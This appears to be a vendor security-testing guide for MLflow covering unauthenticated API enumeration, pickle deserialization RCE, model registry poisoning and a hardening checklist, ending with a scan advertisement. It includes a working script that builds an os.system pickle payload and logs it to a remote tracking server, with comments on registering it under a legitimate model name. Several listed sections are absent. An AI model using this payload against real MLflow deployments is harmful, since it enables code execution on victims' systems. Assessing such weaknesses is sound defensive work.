MLflow Security Testing: Model Registry Poisoning, Artifact Store Credential Exposure, and RCE

MLflow is the dominant open-source platform for ML experiment tracking, model registry, and deployment. Its security surface spans the entire ML lifecycle: the MLflow tracking server on port 5000 has no authentication by default, allowing any user to read all experiments, register models, and promote versions to production; MLflow's primary model serialization format uses Python pickle, which executes arbitrary code on deserialization — a malicious model in the registry can achieve RCE on any system that calls mlflow.pyfunc.load_model(); artifact store credentials (S3 access keys, Azure SAS tokens) are embedded in run metadata accessible via the MLflow REST API; MLflow Models can specify custom Python environments that install arbitrary packages on the inference server; and MLflow's model staging workflow (Staging → Production transitions) has no approval gate on self-hosted deployments. This guide covers systematic MLflow security assessment.

Table of Contents

  1. MLflow Discovery and API Enumeration
  2. Pickle Model Deserialization RCE
  3. Model Registry Poisoning
  4. Artifact Store Credential Extraction
  5. Unauthenticated Production Model Promotion
  6. MLflow Security Hardening

MLflow Discovery and API Enumeration

# MLflow default ports: 5000 (tracking server), 1234 (model server)
# MLflow REST API at /api/2.0/mlflow/

# Check MLflow tracking server access (no auth by default)
curl -s http://mlflow.example.com:5000/api/2.0/mlflow/experiments/list 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
exps = data.get('experiments', [])
print(f'Experiments: {len(exps)}')
for e in exps[:10]:
    print(f\"  [{e.get('experiment_id','?')}] {e.get('name','?')} artifact_loc={e.get('artifact_location','?')[:60]}\")
" 2>/dev/null

# List all registered models in the registry
curl -s "http://mlflow.example.com:5000/api/2.0/mlflow/registered-models/list" 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
models = data.get('registered_models', [])
print(f'Registered models: {len(models)}')
for m in models:
    print(f\"  {m.get('name','?')} latest_versions={[v.get('version') for v in m.get('latest_versions',[])]}\")
" 2>/dev/null

Pickle Model Deserialization RCE

# MLflow's default sklearn/pyfunc serialization uses Python pickle
# A malicious model logged to MLflow executes code when loaded via load_model()

# Create a malicious pickle payload disguised as an MLflow model
python3 - << 'PYEOF'
import pickle, os, mlflow, mlflow.pyfunc

# Malicious class that executes code on unpickling
class MaliciousModel:
    def __reduce__(self):
        return (os.system, ("id > /tmp/mlflow_rce_proof.txt",))

# Serialize the malicious payload
import pickle
with open('/tmp/malicious_model.pkl', 'wb') as f:
    pickle.dump(MaliciousModel(), f)

# Option 1: Log malicious artifact directly to an accessible experiment
mlflow.set_tracking_uri("http://mlflow.example.com:5000")
with mlflow.start_run(experiment_id="0") as run:
    mlflow.log_artifact('/tmp/malicious_model.pkl', artifact_path='model')
    run_id = run.info.run_id
    print(f"Logged to run: {run_id}")

# Option 2: Register as a model version that appears legitimate
# mlflow.register_model(f"runs:/{run_id}/model", "fraud-detection-model")
# When a data scientist loads this model: mlflow.pyfunc.load_model(...) -> RCE
PYEOF

MLflow Security Hardening

MLflow Security Hardening Checklist:
Security TestMethodRisk
Unauthenticated tracking server accessGET /api/2.0/mlflow/experiments/list — lists all experiments, runs, and artifact locationsHigh
Pickle model deserialization RCELog malicious pickle model → promote to Production → victim calls load_model → RCECritical
Model registry poisoningRegister malicious model as legitimate name — production inference servers load itCritical
Artifact store credentials in run metadataGET /api/2.0/mlflow/runs/get — artifact_uri may contain signed S3 URLs or access keysHigh
Unauthenticated model promotion to productionPOST /api/2.0/mlflow/model-versions/transition-stage — no approval requiredHigh
Custom conda environment installs malicious packagesLog model with conda.yaml specifying attacker-controlled package — executed on inference server startupHigh

Automate MLflow Security Testing

Ironimo tests MLflow deployments for unauthenticated tracking server access exposing all experiments and model versions, pickle model deserialization RCE via malicious model artifacts in the registry, model registry poisoning by replacing legitimate model versions with malicious ones, artifact store credential exposure in run metadata, unauthenticated model version promotion to production stage, and custom conda environment specification installing attacker-controlled packages on inference servers.

Start free scan